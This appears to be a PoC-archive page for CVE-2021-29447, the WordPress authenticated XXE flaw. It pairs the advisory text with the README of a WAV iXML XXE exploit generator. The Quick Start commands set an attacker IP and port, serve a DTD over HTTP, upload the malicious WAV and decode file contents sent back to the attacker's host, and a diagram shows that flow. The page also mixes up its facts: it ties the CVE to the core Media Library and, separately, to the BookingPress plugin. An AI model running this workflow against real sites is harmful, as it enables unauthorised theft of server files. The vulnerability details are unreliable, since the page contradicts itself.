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CVE-2021-29447 PoC — WordPress Authenticated XXE attack when installation is running PHP 8

Source
Associated Vulnerability
Title:WordPress Authenticated XXE attack when installation is running PHP 8 (CVE-2021-29447)
Description:Wordpress is an open source CMS. A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release. We strongly recommend you keep auto-updates enabled.
Description
A XXE payload generator 
Readme
# WAV iXML XXE Exploit Generator

Generates malicious WAV files that exploit XXE vulnerabilities in WordPress plugins parsing iXML metadata chunks (e.g., BookingPress < 1.0.11).

## Quick Start
```bash
# Generate exploit files
python3 expl.py -i 10.10.14.204 -p 9200

# Start HTTP server
python3 -m http.server 9200

# Upload exploit.wav to target
# Monitor logs for data exfiltration

# Decode exfiltrated data
echo "BASE64_STRING" | base64 -d
```

## Workflow
```
┌──────────┐    1. Upload     ┌──────────┐
│ Attacker │ ───exploit.wav──>│  Target  │
└──────────┘                   └──────────┘
     ▲                              │
     │                              │ 2. Parse XML
     │                              │
     │ 3. GET /xxe.dtd             │
     │<─────────────────────────────┘
     │
     │ 4. GET /?p=base64_data
     │<─────────────────────────────┐
     │                              │
     └─ Decode and read file        │
```

## Vulnerable Targets

- WordPress BookingPress Plugin < 1.0.11
- Any application parsing iXML chunks in WAV files without disabling external entities

## References

- [WPScan Vulnerability DB](https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5/)
- CVE: CVE-2021-29447
File Snapshot

[4.0K] /data/pocs/ddc902ca7f0bdbd7c3f2f1b7f4b5ff617c175b08 ├── [ 28K] expl.py └── [1.5K] README.md 1 directory, 2 files
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